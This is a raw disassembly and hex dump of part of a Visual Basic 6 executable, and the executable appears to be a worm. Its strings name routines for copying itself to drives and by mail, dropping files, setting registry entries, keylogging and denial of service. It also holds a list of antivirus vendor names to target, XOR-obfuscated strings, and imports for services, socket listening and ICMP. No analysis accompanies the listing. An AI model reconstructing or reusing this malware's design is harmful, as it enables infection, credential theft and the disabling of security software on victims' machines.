    00406390 04 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 ................
    004063a0 01 00 00 00 08 00 00 00 20 01 02 00 30 01 01 00 ........ ...0...
    004063b0 06 00 00 00 ....
    004063b4
    004063b4 wstring "xxx",0
    004063bc
    004063bc 0a 00 00 00 ....
    004063c0
    004063c0 wstring "path1",0
    004063cc
    004063cc 00 00 00 00 ....
    004063d0 00 00 00 00 0a 00 00 00 ........
    004063d8
    004063d8 wstring "path2",0
    004063e4
    004063e4 0a 00 00 00 ....
    004063e8
    004063e8 wstring "path3",0
    004063f4
    004063f4 0a 00 00 00 ....
    004063f8
    004063f8 wstring "path4",0
    00406404
    00406404 0a 00 00 00 ....
    00406408
    00406408 wstring "path5",0
    00406414
    00406414 0a 00 00 00 ....
    00406418
    00406418 wstring "path6",0
    00406424
    00406424 0a 00 00 00 ....
    00406428
    00406428 wstring "path7",0
    00406434
    00406434 0a 00 00 00 ....
    00406438
    00406438 wstring "path8",0
    00406444
    00406444 08 00 00 00 ....
    00406448
    00406448 wstring "path",0
    00406452
    00406452 00 00 56 42 41 36 2e 44 4c 4c 00 00 00 00 ..VBA6.DLL....
    00406460
    00406460 struct GUID
    00406460 guid guid fcfb3d23-a0fa-1068-a738-08002b3371b5
    00406470
    00406470 22 3d fb fc fa a0 68 10 a7 38 08 00 2b 33 71 b5 "=....h..8..+3q.
    00406480 02 00 00 00 60 64 40 00 70 64 40 00 00 00 00 00 ....`d@.pd@.....
    00406490 02 00 00 00 ....
    00406494
    00406494 wstring "X",0
    00406498
    00406498 18 00 00 00 ....
    0040649c
    0040649c wstring "winlogon.exe",0
    004064b6
    004064b6 00 00 1a 00 1c 00 00 00 02 00 ..........
    004064c0 00 00 00 00 00 00 02 00 14 00 05 01 ff ff ff ff ................
    004064d0 00 00 00 00 cd cc f2 91 be 91 1c 46 88 3f 07 40 ...........F.?.@
    004064e0 8b 0a f4 73 ...s
    004064e4
    004064e4 struct GUID
    004064e4 guid guid 774a3c54-035b-4c94-82f7-6455bed16fc7
    004064f4
    004064f4 struct GUID
    004064f4 guid guid 816f015c-7d2b-4943-a6b7-eb9575199200
    00406504
    00406504 struct GUID
    00406504 guid guid 6d5ddeb6-1ec2-4871-adab-b3ee4d58ae3f
    00406514
    00406514 struct GUID
    00406514 guid guid 33ad4f2a-6699-11cf-b70c-00aa0060d393
    00406524
    00406524 string "Timer2",0
    0040652b
    0040652b 00 2e 3d fb fc ..=..
    00406530 fa a0 68 10 a7 38 08 00 2b 33 71 b5 43 3a 5c 50 ..h..8..+3q.C:\P
    00406540 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 4d 69 63 rogram Files\Mic
    00406550 72 6f 73 6f 66 74 20 56 69 73 75 61 6c 20 53 74 rosoft Visual St
    00406560 75 64 69 6f 5c 56 42 39 38 5c 56 42 36 2e 4f 4c udio\VB98\VB6.OL
    00406570 42 00 00 00 56 42 00 00 2c 65 40 00 00 00 00 00 B...VB..,e@.....
    00406580 06 00 00 00 09 00 00 00 3c 65 40 00 74 65 40 00 ........<e@.te@.
    00406590 fc bc 41 00 00 00 00 00 00 00 00 00 80 3c 1b 00 ..A..........<..
    004065a0
    004065a0 string "Timer3",0
    004065a7
    004065a7 00 .
    004065a8
    004065a8 struct GUID
    004065a8 guid guid 33ad4f3a-6699-11cf-b70c-00aa0060d393
    004065b8
    004065b8 string "Form",0
    004065bd
    004065bd 00 00 00 ...
    004065c0
    004065c0 string "TmrDos",0
    004065c7
    004065c7 00 .
    004065c8
    004065c8 string "TmrTungguconect",0
    004065d8
    004065d8 struct GUID
    004065d8 guid guid 33ad4ee2-6699-11cf-b70c-00aa0060d393
    004065e8
    004065e8 string "TxtCaption",0
    004065f3
    004065f3 00 .
    004065f4
    004065f4 string "TmrKeyLog",0
    004065fe
    004065fe 00 00 ..
    00406600
    00406600 string "Text1",0
    00406606
    00406606 00 00 ..
    00406608
    00406608 struct VBDeclareNameLength
    00406608 cbName int 12
    0040660c
    0040660c string "wininet.dll",0
    00406618
    00406618 struct VBDeclareNameLength
    00406618 cbName int 25
    0040661c
    0040661c string "InternetCheckConnectionA",0
    00406635
    00406635 00 00 00 00 00 00 00 .......
    0040663c
    0040663c struct DeclareInfo
    0040663c lpszLibraryName uint32 0x40660c
    00406640 lpszFunctionName uint32 0x40661c
    00406644 dwFlags uint32 0x00040000
    00406648 lpCache uint32 0x41bd00
    0040664c dwReserved uint32 0x00000000
    00406650
    00406650 00 00 00 00 ....
    00406654
    00406654fn_406654:
    00406654mov eax, [0x41bd08]
    00406659or eax, eax
    0040665bje 0x40665f
    0040665djmp eax
    0040665f
    0040665floc_40665f:
    0040665fpush 0x40663c
    00406664mov eax, 0x4010e0
    00406669call eax
    0040666bjmp eax
    00406654
    0040666d
    0040666d 00 00 00 ...
    00406670
    00406670 struct VBDeclareNameLength
    00406670 cbName int 14
    00406674
    00406674 string "GetDriveTypeA",0
    00406682
    00406682 00 00 ..
    00406684
    00406684 struct DeclareInfo
    00406684 lpszLibraryName uint32 0x405f48
    00406688 lpszFunctionName uint32 0x406674
    0040668c dwFlags uint32 0x00040000
    00406690 lpCache uint32 0x41bd0c
    00406694 dwReserved uint32 0x00000000
    00406698
    00406698 00 00 00 00 ....
    0040669c
    0040669cfn_40669c:
    0040669cmov eax, [0x41bd14]
    004066a1or eax, eax
    004066a3je 0x4066a7
    004066a5jmp eax
    004066a7
    004066a7loc_4066a7:
    004066a7push 0x406684
    004066acmov eax, 0x4010e0
    004066b1call eax
    004066b3jmp eax
    0040669c
    004066b5
    004066b5 00 00 00 ...
    004066b8
    004066b8 string "instal",0
    004066bf
    004066bf 00 .
    004066c0
    004066c0 string "CopyWoRm",0
    004066c9
    004066c9 00 00 00 ...
    004066cc
    004066cc string "setMyRegister",0
    004066da
    004066da 00 00 ..
    004066dc
    004066dc string "KIllallVirri",0
    004066e9
    004066e9 00 00 00 ...
    004066ec
    004066ec string "CopyYourUfd",0
    004066f8
    004066f8 string "StartMailWorm",0
    00406706
    00406706 00 00 ..
    00406708
    00406708 string "SelamatkanMsVb",0
    00406717
    00406717 00 .
    00406718
    00406718 string "EndTKMnUW",0
    00406722
    00406722 00 00 ..
    00406724
    00406724 string "CreateMutex",0
    00406730
    00406730 string "kirimbo",0
    00406738
    00406738 string "taroocx",0
    00406740
    00406740 string "dRopingAnyFiles",0
    00406750
    00406750 string "shellbi",0
    00406758
    00406758 22 00 80 00 01 00 04 00 ".......
    00406760 00 00 00 00 34 00 04 00 00 00 00 00 ff 00 38 00 ....4.........8.
    00406770 01 00 3c 00 02 00 4c 00 01 00 00 00 e1 4e ad 33 ..<...L......N.3
    00406780 99 66 cf 11 b7 0c 00 aa 00 60 d3 93 06 00 00 00 .f.......`......
    00406790
    00406790 wstring "lde",0
    00406798
    00406798 06 00 00 00 ....
    0040679c
    0040679c wstring "'ye",0
    004067a4
    004067a4 06 00 00 00 ....
    004067a8
    004067a8 wstring "zyq",0
    004067b0
    004067b0 struct TypeLibReference
    004067b0 lpTypeLibGuid uint32 0x406460
    004067b4 lpCache uint32 0x41bd18
    004067b8
    004067b8 02 00 00 00 ....
    004067bc
    004067bc wstring "\\",0
    004067c0
    004067c0 08 00 00 00 ....
    004067c4
    004067c4 wstring "yyyy",0
    004067ce
    004067ce 00 00 ..
    004067d0
    004067d0 struct VBDeclareNameLength
    004067d0 cbName int 5
    004067d4
    004067d4 string "bind",0
    004067d9
    004067d9 00 00 00 00 00 00 00 .......
    004067e0 16 00 00 00 04 00 00 00 01 00 00 00 00 00 00 00 ................
    004067f0 00 00 73 01 ff ff ff ff 01 00 00 00 0c 00 08 00 ..s.............
    00406800 00 00 00 00 08 00 04 04 20 00 50 02 00 00 02 00 ........ .P.....
    00406810 40 01 04 34 2c 00 0a 20 00 00 2c 00 04 01 34 02 @..4,.. ..,...4.
    00406820 0a 20 3c 00 30 01 0e 00 . <.0...
    00406828
    00406828 struct VBDeclareNameLength
    00406828 cbName int 15
    0040682c
    0040682c string "FindFirstFileA",0
    0040683b
    0040683b 00 02 00 00 00 .....
    00406840
    00406840 wstring "w",0
    00406844
    00406844 struct DeclareInfo
    00406844 lpszLibraryName uint32 0x405f48
    00406848 lpszFunctionName uint32 0x40682c
    0040684c dwFlags uint32 0x00040000
    00406850 lpCache uint32 0x41bd1c
    00406854 dwReserved uint32 0x00000000
    00406858
    00406858 00 00 00 00 ....
    0040685c
    0040685cfn_40685c:
    0040685cmov eax, [0x41bd24]
    00406861or eax, eax
    00406863je 0x406867
    00406865jmp eax
    00406867
    00406867loc_406867:
    00406867push 0x406844
    0040686cmov eax, 0x4010e0
    00406871call eax
    00406873jmp eax
    0040685c
    00406875
    00406875 00 00 00 ...
    00406878
    00406878 struct VBDeclareNameLength
    00406878 cbName int 14
    0040687c
    0040687c string "FindNextFileA",0
    0040688a
    0040688a 00 00 ..
    0040688c
    0040688c struct DeclareInfo
    0040688c lpszLibraryName uint32 0x405f48
    00406890 lpszFunctionName uint32 0x40687c
    00406894 dwFlags uint32 0x00040000
    00406898 lpCache uint32 0x41bd28
    0040689c dwReserved uint32 0x00000000
    004068a0
    004068a0 00 00 00 00 ....
    004068a4
    004068a4fn_4068a4:
    004068a4mov eax, [0x41bd30]
    004068a9or eax, eax
    004068abje 0x4068af
    004068adjmp eax
    004068af
    004068afloc_4068af:
    004068afpush 0x40688c
    004068b4mov eax, 0x4010e0
    004068b9call eax
    004068bbjmp eax
    004068a4
    004068bd
    004068bd 00 00 00 ...
    004068c0
    004068c0 struct VBDeclareNameLength
    004068c0 cbName int 10
    004068c4
    004068c4 string "FindClose",0
    004068ce
    004068ce 00 00 ..
    004068d0
    004068d0 struct DeclareInfo
    004068d0 lpszLibraryName uint32 0x405f48
    004068d4 lpszFunctionName uint32 0x4068c4
    004068d8 dwFlags uint32 0x00040000
    004068dc lpCache uint32 0x41bd34
    004068e0 dwReserved uint32 0x00000000
    004068e4
    004068e4 00 00 00 00 ....
    004068e8
    004068e8fn_4068e8:
    004068e8mov eax, [0x41bd3c]
    004068edor eax, eax
    004068efje 0x4068f3
    004068f1jmp eax
    004068f3
    004068f3loc_4068f3:
    004068f3push 0x4068d0
    004068f8mov eax, 0x4010e0
    004068fdcall eax
    004068ffjmp eax
    004068e8
    00406901
    00406901 00 00 00 1c 00 24 00 00 00 04 00 00 00 00 00 .....$.........
    00406910 14 00 03 00 00 00 02 00 10 00 03 00 1c 00 01 00 ................
    00406920 12 00 00 00 ....
    00406924
    00406924 wstring "d`j{fzfo}",0
    00406938
    00406938 04 00 00 00 ....
    0040693c
    0040693c wstring "'e",0
    00406942
    00406942 00 00 06 00 00 00 ......
    00406948
    00406948 wstring "a}d",0
    00406950
    00406950 06 00 00 00 ....
    00406954
    00406954 wstring "{h{",0
    0040695c
    0040695c 06 00 00 00 ....
    00406960
    00406960 wstring "s`y",0
    00406968
    00406968 08 00 00 00 ....
    0040696c
    0040696c wstring "~~~'",0
    00406976
    00406976 00 00 04 00 00 00 ......
    0040697c
    0040697c wstring "..",0
    00406982
    00406982 00 00 0a 00 00 00 ......
    00406988
    00406988 wstring "\x7f`{|z",0
    00406994
    00406994 0c 00 00 00 ....
    00406998
    00406998 wstring "z|yf{}",0
    004069a6
    004069a6 00 00 10 00 00 00 ......
    004069ac
    004069ac wstring "DffgDh`e",0
    004069be
    004069be 00 00 ..
    004069c0 10 00 00 00 ....
    004069c4
    004069c4 wstring "pf|{z`}l",0
    004069d6
    004069d6 00 00 14 00 00 00 ......
    004069dc
    004069dc wstring "pf|{mfdh`g",0
    004069f2
    004069f2 00 00 10 00 00 00 ......
    004069f8
    004069f8 wstring "security",0
    00406a0a
    00406a0a 00 00 0a 00 00 00 ......
    00406a10
    00406a10 wstring "avira",0
    00406a1c
    00406a1c 0c 00 00 00 ....
    00406a20
    00406a20 wstring "norman",0
    00406a2e
    00406a2e 00 00 ..
    00406a30 0c 00 00 00 ....
    00406a34
    00406a34 wstring "norton",0
    00406a42
    00406a42 00 00 0a 00 00 00 ......
    00406a48
    00406a48 wstring "panda",0
    00406a54
    00406a54 0c 00 00 00 ....
    00406a58
    00406a58 wstring "mcafee",0
    00406a66
    00406a66 00 00 0a 00 00 00 ......
    00406a6c
    00406a6c wstring "Syman",0
    00406a78
    00406a78 0c 00 00 00 ....
    00406a7c
    00406a7c wstring "sophos",0
    00406a8a
    00406a8a 00 00 0a 00 00 00 ......
    00406a90
    00406a90 wstring "Trend",0
    00406a9c
    00406a9c 0c 00 00 00 ....
    00406aa0
    00406aa0 wstring "vaksin",0
    00406aae
    00406aae 00 00 ..
    00406ab0 0c 00 00 00 ....
    00406ab4
    00406ab4 wstring "novell",0
    00406ac2
    00406ac2 00 00 0a 00 00 00 ......
    00406ac8
    00406ac8 wstring "virus",0
    00406ad4
    00406ad4 0c 00 00 00 ....
    00406ad8
    00406ad8 wstring "g`yz\x7fj",0
    00406ae6
    00406ae6 00 00 1c 00 00 00 ......
    00406aec
    00406aec wstring "Gf{dhg)GCll\x7flz",0
    00406b0a
    00406b0a 00 00 0c 00 00 00 ......
    00406b10
    00406b10 wstring "g\x7fjfhz",0
    00406b1e
    00406b1e 00 00 ..
    00406b20 18 00 00 00 ....
    00406b24
    00406b24 wstring "Gf{dhg)Shgmh",0
    00406b3e
    00406b3e 00 00 ..
    00406b40
    00406b40 struct VBDeclareNameLength
    00406b40 cbName int 13
    00406b44
    00406b44 string "advapi32.dll",0
    00406b51
    00406b51 00 00 00 ...
    00406b54
    00406b54 struct VBDeclareNameLength
    00406b54 cbName int 15
    00406b58
    00406b58 string "OpenSCManagerA",0
    00406b67
    00406b67 00 02 00 00 00 .....
    00406b6c
    00406b6c wstring "W",0
    00406b70
    00406b70 struct DeclareInfo
    00406b70 lpszLibraryName uint32 0x406b44
    00406b74 lpszFunctionName uint32 0x406b58
    00406b78 dwFlags uint32 0x00040000
    00406b7c lpCache uint32 0x41bd40
    00406b80 dwReserved uint32 0x00000000
    00406b84
    00406b84 00 00 00 00 ....
    00406b88
    00406b88fn_406b88:
    00406b88mov eax, [0x41bd48]
    00406b8dor eax, eax
    00406b8fje 0x406b93
    00406b91jmp eax
    00406b93
    00406b93loc_406b93:
    00406b93push 0x406b70
    00406b98mov eax, 0x4010e0
    00406b9dcall eax
    00406b9fjmp eax
    00406b88
    00406ba1
    00406ba1 00 00 00 ...
    00406ba4
    00406ba4 struct VBDeclareNameLength
    00406ba4 cbName int 15
    00406ba8
    00406ba8 string "CreateServiceA",0
    00406bb7
    00406bb7 00 .
    00406bb8
    00406bb8 struct DeclareInfo
    00406bb8 lpszLibraryName uint32 0x406b44
    00406bbc lpszFunctionName uint32 0x406ba8
    00406bc0 dwFlags uint32 0x00040000
    00406bc4 lpCache uint32 0x41bd4c
    00406bc8 dwReserved uint32 0x00000000
    00406bcc
    00406bcc 00 00 00 00 ....
    00406bd0
    00406bd0fn_406bd0:
    00406bd0mov eax, [0x41bd54]
    00406bd5or eax, eax
    00406bd7je 0x406bdb
    00406bd9jmp eax
    00406bdb
    00406bdbloc_406bdb:
    00406bdbpush 0x406bb8
    00406be0mov eax, 0x4010e0
    00406be5call eax
    00406be7jmp eax
    00406bd0
    00406be9
    00406be9 00 00 00 ...
    00406bec
    00406bec struct VBDeclareNameLength
    00406bec cbName int 14
    00406bf0
    00406bf0 string "DeleteService",0
    00406bfe
    00406bfe 00 00 ..
    00406c00
    00406c00 struct DeclareInfo
    00406c00 lpszLibraryName uint32 0x406b44
    00406c04 lpszFunctionName uint32 0x406bf0
    00406c08 dwFlags uint32 0x00040000
    00406c0c lpCache uint32 0x41bd58
    00406c10 dwReserved uint32 0x00000000
    00406c14
    00406c14 00 00 00 00 ....
    00406c18
    00406c18fn_406c18:
    00406c18mov eax, [0x41bd60]
    00406c1dor eax, eax
    00406c1fje 0x406c23
    00406c21jmp eax
    00406c23
    00406c23loc_406c23:
    00406c23push 0x406c00
    00406c28mov eax, 0x4010e0
    00406c2dcall eax
    00406c2fjmp eax
    00406c18
    00406c31
    00406c31 00 00 00 ...
    00406c34
    00406c34 struct VBDeclareNameLength
    00406c34 cbName int 19
    00406c38
    00406c38 string "CloseServiceHandle",0
    00406c4b
    00406c4b 00 .
    00406c4c
    00406c4c struct DeclareInfo
    00406c4c lpszLibraryName uint32 0x406b44
    00406c50 lpszFunctionName uint32 0x406c38
    00406c54 dwFlags uint32 0x00040000
    00406c58 lpCache uint32 0x41bd64
    00406c5c dwReserved uint32 0x00000000
    00406c60
    00406c60 00 00 00 00 ....
    00406c64
    00406c64fn_406c64:
    00406c64mov eax, [0x41bd6c]
    00406c69or eax, eax
    00406c6bje 0x406c6f
    00406c6djmp eax
    00406c6f
    00406c6floc_406c6f:
    00406c6fpush 0x406c4c
    00406c74mov eax, 0x4010e0
    00406c79call eax
    00406c7bjmp eax
    00406c64
    00406c7d
    00406c7d 00 00 00 ...
    00406c80
    00406c80 struct VBDeclareNameLength
    00406c80 cbName int 13
    00406c84
    00406c84 string "OpenServiceA",0
    00406c91
    00406c91 00 00 00 ...
    00406c94
    00406c94 struct DeclareInfo
    00406c94 lpszLibraryName uint32 0x406b44
    00406c98 lpszFunctionName uint32 0x406c84
    00406c9c dwFlags uint32 0x00040000
    00406ca0 lpCache uint32 0x41bd70
    00406ca4 dwReserved uint32 0x00000000
    00406ca8
    00406ca8 00 00 00 00 ....
    00406cac
    00406cacfn_406cac:
    00406cacmov eax, [0x41bd78]
    00406cb1or eax, eax
    00406cb3je 0x406cb7
    00406cb5jmp eax
    00406cb7
    00406cb7loc_406cb7:
    00406cb7push 0x406c94
    00406cbcmov eax, 0x4010e0
    00406cc1call eax
    00406cc3jmp eax
    00406cac
    00406cc5
    00406cc5 00 00 00 10 00 08 00 00 00 01 00 ...........
    00406cd0 00 00 00 00 00 00 01 00 16 00 18 00 00 00 01 00 ................
    00406ce0 10 00 04 34 08 00 0a 20 ca 3f 08 00 08 00 00 00 ...4... .?......
    00406cf0 0c 00 10 00 00 00 00 00 10 00 04 04 0c 00 94 01 ................
    00406d00 00 00 00 00 94 01 04 04 16 00 10 02 00 00 01 00 ................
    00406d10 18 01 04 34 1c 00 0a 20 ca 3f 1c 00 fa 00 00 00 ...4... .?......
    00406d20
    00406d20 struct VBDeclareNameLength
    00406d20 cbName int 11
    00406d24
    00406d24 string "ws2_32.dll",0
    00406d2f
    00406d2f 00 .
    00406d30 00 00 00 00 ....
    00406d34
    00406d34 struct DeclareInfo
    00406d34 lpszLibraryName uint32 0x406d24
    00406d38 lpszFunctionName uint32 0x4067d4
    00406d3c dwFlags uint32 0x00040000
    00406d40 lpCache uint32 0x41bd7c
    00406d44 dwReserved uint32 0x00000000
    00406d48
    00406d48 00 00 00 00 ....
    00406d4c
    00406d4cfn_406d4c:
    00406d4cmov eax, [0x41bd84]
    00406d51or eax, eax
    00406d53je 0x406d57
    00406d55jmp eax
    00406d57
    00406d57loc_406d57:
    00406d57push 0x406d34
    00406d5cmov eax, 0x4010e0
    00406d61call eax
    00406d63jmp eax
    00406d4c
    00406d65
    00406d65 00 00 00 ...
    00406d68
    00406d68 struct VBDeclareNameLength
    00406d68 cbName int 15
    00406d6c
    00406d6c string "WSAAsyncSelect",0
    00406d7b
    00406d7b 00 .
    00406d7c
    00406d7c struct DeclareInfo
    00406d7c lpszLibraryName uint32 0x406d24
    00406d80 lpszFunctionName uint32 0x406d6c
    00406d84 dwFlags uint32 0x00040000
    00406d88 lpCache uint32 0x41bd88
    00406d8c dwReserved uint32 0x00000000
    00406d90
    00406d90 00 00 00 00 ....
    00406d94
    00406d94fn_406d94:
    00406d94mov eax, [0x41bd90]
    00406d99or eax, eax
    00406d9bje 0x406d9f
    00406d9djmp eax
    00406d9f
    00406d9floc_406d9f:
    00406d9fpush 0x406d7c
    00406da4mov eax, 0x4010e0
    00406da9call eax
    00406dabjmp eax
    00406d94
    00406dad
    00406dad 00 00 00 ...
    00406db0
    00406db0 struct VBDeclareNameLength
    00406db0 cbName int 7
    00406db4
    00406db4 string "listen",0
    00406dbb
    00406dbb 00 .
    00406dbc
    00406dbc struct DeclareInfo
    00406dbc lpszLibraryName uint32 0x406d24
    00406dc0 lpszFunctionName uint32 0x406db4
    00406dc4 dwFlags uint32 0x00040000
    00406dc8 lpCache uint32 0x41bd94
    00406dcc dwReserved uint32 0x00000000
    00406dd0
    00406dd0 00 00 00 00 ....
    00406dd4
    00406dd4fn_406dd4:
    00406dd4mov eax, [0x41bd9c]
    00406dd9or eax, eax
    00406ddbje 0x406ddf
    00406dddjmp eax
    00406ddf
    00406ddfloc_406ddf:
    00406ddfpush 0x406dbc
    00406de4mov eax, 0x4010e0
    00406de9call eax
    00406debjmp eax
    00406dd4
    00406ded
    00406ded 00 00 00 ...
    00406df0
    00406df0 struct VBDeclareNameLength
    00406df0 cbName int 6
    00406df4
    00406df4 string "htonl",0
    00406dfa
    00406dfa 00 00 ..
    00406dfc
    00406dfc struct DeclareInfo
    00406dfc lpszLibraryName uint32 0x406d24
    00406e00 lpszFunctionName uint32 0x406df4
    00406e04 dwFlags uint32 0x00040000
    00406e08 lpCache uint32 0x41bda0
    00406e0c dwReserved uint32 0x00000000
    00406e10
    00406e10 00 00 00 00 ....
    00406e14
    00406e14fn_406e14:
    00406e14mov eax, [0x41bda8]
    00406e19or eax, eax
    00406e1bje 0x406e1f
    00406e1djmp eax
    00406e1f
    00406e1floc_406e1f:
    00406e1fpush 0x406dfc
    00406e24mov eax, 0x4010e0
    00406e29call eax
    00406e2bjmp eax
    00406e14
    00406e2d
    00406e2d 00 00 00 ...
    00406e30
    00406e30 struct VBDeclareNameLength
    00406e30 cbName int 7
    00406e34
    00406e34 string "accept",0
    00406e3b
    00406e3b 00 .
    00406e3c
    00406e3c struct DeclareInfo
    00406e3c lpszLibraryName uint32 0x406d24
    00406e40 lpszFunctionName uint32 0x406e34
    00406e44 dwFlags uint32 0x00040000
    00406e48 lpCache uint32 0x41bdac
    00406e4c dwReserved uint32 0x00000000
    00406e50
    00406e50 00 00 00 00 ....
    00406e54
    00406e54fn_406e54:
    00406e54mov eax, [0x41bdb4]
    00406e59or eax, eax
    00406e5bje 0x406e5f
    00406e5djmp eax
    00406e5f
    00406e5floc_406e5f:
    00406e5fpush 0x406e3c
    00406e64mov eax, 0x4010e0
    00406e69call eax
    00406e6bjmp eax
    00406e54
    00406e6d
    00406e6d 00 00 00 ...
    00406e70
    00406e70 struct VBDeclareNameLength
    00406e70 cbName int 9
    00406e74
    00406e74 string "icmp.dll",0
    00406e7d
    00406e7d 00 00 00 ...
    00406e80
    00406e80 struct VBDeclareNameLength
    00406e80 cbName int 15
    00406e84
    00406e84 string "IcmpCreateFile",0
    00406e93
    00406e93 00 .
    00406e94
    00406e94 struct DeclareInfo
    00406e94 lpszLibraryName uint32 0x406e74
    00406e98 lpszFunctionName uint32 0x406e84
    00406e9c dwFlags uint32 0x00040000
    00406ea0 lpCache uint32 0x41bdb8
    00406ea4 dwReserved uint32 0x00000000
    00406ea8
    00406ea8 00 00 00 00 ....
    00406eac
    00406eacfn_406eac:
    00406eacmov eax, [0x41bdc0]
    00406eb1or eax, eax
    00406eb3je 0x406eb7
    00406eb5jmp eax
    00406eb7
    00406eb7loc_406eb7:
    00406eb7push 0x406e94
    00406ebcmov eax, 0x4010e0
    00406ec1call eax
    00406ec3jmp eax
    00406eac
    00406ec5
    00406ec5 00 00 00 ...
    00406ec8
    00406ec8 struct VBDeclareNameLength
    00406ec8 cbName int 16
    00406ecc
    00406ecc string "IcmpCloseHandle",0
    00406edc
    00406edc 06 00 00 00 ....
    00406ee0
    00406ee0 wstring "yay",0
    00406ee8
    00406ee8 06 00 00 00 ....
    00406eec
    00406eec wstring "{}o",0
    00406ef4
    00406ef4 00 00 00 00 ....
    00406ef8
    00406ef8 struct DeclareInfo
    00406ef8 lpszLibraryName uint32 0x406e74
    00406efc lpszFunctionName uint32 0x406ecc
    00406f00 dwFlags uint32 0x00040000
    00406f04 lpCache uint32 0x41bdc4
    00406f08 dwReserved uint32 0x00000000
    00406f0c
    00406f0c 00 00 00 00 ....
    00406f10
    00406f10fn_406f10:
    00406f10mov eax, [0x41bdcc]
    00406f15or eax, eax
    00406f17je 0x406f1b
    00406f19jmp eax
    00406f1b
    00406f1bloc_406f1b:
    00406f1bpush 0x406ef8
    00406f20mov eax, 0x4010e0
    00406f25call eax
    00406f27jmp eax
    00406f10
    00406f29
    00406f29 00 00 00 ...
    00406f2c
    00406f2c struct VBDeclareNameLength
    00406f2c cbName int 13
    00406f30
    00406f30 string "IcmpSendEcho",0
    00406f3d
    00406f3d 00 00 00 ...
    00406f40
    00406f40 struct DeclareInfo
    00406f40 lpszLibraryName uint32 0x406e74
    00406f44 lpszFunctionName uint32 0x406f30
    00406f48 dwFlags uint32 0x00040000
    00406f4c lpCache uint32 0x41bdd0
    00406f50 dwReserved uint32 0x00000000
    00406f54
    00406f54 00 00 00 00 ....
    00406f58
    00406f58fn_406f58:
    00406f58mov eax, [0x41bdd8]
    00406f5dor eax, eax
    00406f5fje 0x406f63
    00406f61jmp eax
    00406f63
    00406f63loc_406f63:
    00406f63push 0x406f40
    00406f68mov eax, 0x4010e0
    00406f6dcall eax
    00406f6fjmp eax
    00406f58
    00406f71
    00406f71 00 00 00 ...
    00406f74
    00406f74 struct VBDeclareNameLength
    00406f74 cbName int 11
    00406f78
    00406f78 string "WSAStartup",0
    00406f83
    00406f83 00 .
    00406f84
    00406f84 struct DeclareInfo
    00406f84 lpszLibraryName uint32 0x406d24
    00406f88 lpszFunctionName uint32 0x406f78
    00406f8c dwFlags uint32 0x00040000
    00406f90 lpCache uint32 0x41bddc
    00406f94 dwReserved uint32 0x00000000
    00406f98
    00406f98 00 00 00 00 ....
    00406f9c
    00406f9cfn_406f9c:
    00406f9cmov eax, [0x41bde4]
    00406fa1or eax, eax
    00406fa3je 0x406fa7
    00406fa5jmp eax
    00406fa7
    00406fa7loc_406fa7:
    00406fa7push 0x406f84
    00406facmov eax, 0x4010e0
    00406fb1call eax
    00406fb3jmp eax
    00406f9c
    00406fb5
    00406fb5 00 00 00 ...
    00406fb8
    00406fb8 struct VBDeclareNameLength
    00406fb8 cbName int 14
    00406fbc
    00406fbc string "gethostbyname",0
    00406fca
    00406fca 00 00 ..
    00406fcc
    00406fcc struct DeclareInfo
    00406fcc lpszLibraryName uint32 0x406d24
    00406fd0 lpszFunctionName uint32 0x406fbc
    00406fd4 dwFlags uint32 0x00040000
    00406fd8 lpCache uint32 0x41bde8
    00406fdc dwReserved uint32 0x00000000
    00406fe0
    00406fe0 00 00 00 00 ....
    00406fe4
    00406fe4fn_406fe4:
    00406fe4mov eax, [0x41bdf0]
    00406fe9or eax, eax
    00406febje 0x406fef
    00406fedjmp eax
    00406fef
    00406fefloc_406fef:
    00406fefpush 0x406fcc
    00406ff4mov eax, 0x4010e0
    00406ff9call eax
    00406ffbjmp eax
    00406fe4
    00406ffd
    00406ffd 00 00 00 ...
    00407000
    00407000 struct VBDeclareNameLength
    00407000 cbName int 11
    00407004
    00407004 string "WSACleanup",0
    0040700f
    0040700f 00 .
    00407010
    00407010 struct DeclareInfo
    00407010 lpszLibraryName uint32 0x406d24
    00407014 lpszFunctionName uint32 0x407004
    00407018 dwFlags uint32 0x00040000
    0040701c lpCache uint32 0x41bdf4
    00407020 dwReserved uint32 0x00000000
    00407024
    00407024 00 00 00 00 ....
    00407028
    00407028fn_407028:
    00407028mov eax, [0x41bdfc]
    0040702dor eax, eax
    0040702fje 0x407033
    00407031jmp eax
    00407033
    00407033loc_407033:
    00407033push 0x407010
    00407038mov eax, 0x4010e0
    0040703dcall eax
    0040703fjmp eax
    00407028
    00407041
    00407041 00 00 00 ...
    00407044
    00407044 struct VBDeclareNameLength
    00407044 cbName int 14
    00407048
    00407048 string "RtlMoveMemory",0
    00407056
    00407056 00 00 ..
    00407058
    00407058 struct DeclareInfo
    00407058 lpszLibraryName uint32 0x405f48
    0040705c lpszFunctionName uint32 0x407048
    00407060 dwFlags uint32 0x00040000
    00407064 lpCache uint32 0x41be00
    00407068 dwReserved uint32 0x00000000
    0040706c
    0040706c 00 00 00 00 ....
    00407070
    00407070fn_407070:
    00407070mov eax, [0x41be08]
    00407075or eax, eax
    00407077je 0x40707b
    00407079jmp eax
    0040707b
    0040707bloc_40707b:
    0040707bpush 0x407058
    00407080mov eax, 0x4010e0
    00407085call eax
    00407087jmp eax
    00407070
    00407089
    00407089 00 00 00 ...
    0040708c
    0040708c struct VBDeclareNameLength
    0040708c cbName int 12
    00407090
    00407090 string "wsock32.dll",0
    0040709c
    0040709c struct VBDeclareNameLength
    0040709c cbName int 5
    004070a0
    004070a0 string "recv",0
    004070a5
    004070a5 00 00 00 ...
    004070a8
    004070a8 struct VBDeclareNameLength
    004070a8 cbName int 5
    004070ac
    004070ac string "send",0
    004070b1
    004070b1 00 00 00 02 00 00 00 .......
    004070b8
    004070b8 wstring "v",0
    004070bc
    004070bc struct DeclareInfo
    004070bc lpszLibraryName uint32 0x407090
    004070c0 lpszFunctionName uint32 0x4070a0
    004070c4 dwFlags uint32 0x00040000
    004070c8 lpCache uint32 0x41be0c
    004070cc dwReserved uint32 0x00000000
    004070d0
    004070d0 00 00 00 00 ....
    004070d4
    004070d4fn_4070d4:
    004070d4mov eax, [0x41be14]
    004070d9or eax, eax
    004070dbje 0x4070df
    004070ddjmp eax
    004070df
    004070dfloc_4070df:
    004070dfpush 0x4070bc
    004070e4mov eax, 0x4010e0
    004070e9call eax
    004070ebjmp eax
    004070d4
    004070ed
    004070ed 00 00 00 ...
    004070f0
    004070f0 struct VBDeclareNameLength
    004070f0 cbName int 14
    004070f4
    004070f4 string "gethostbyaddr",0
    00407102
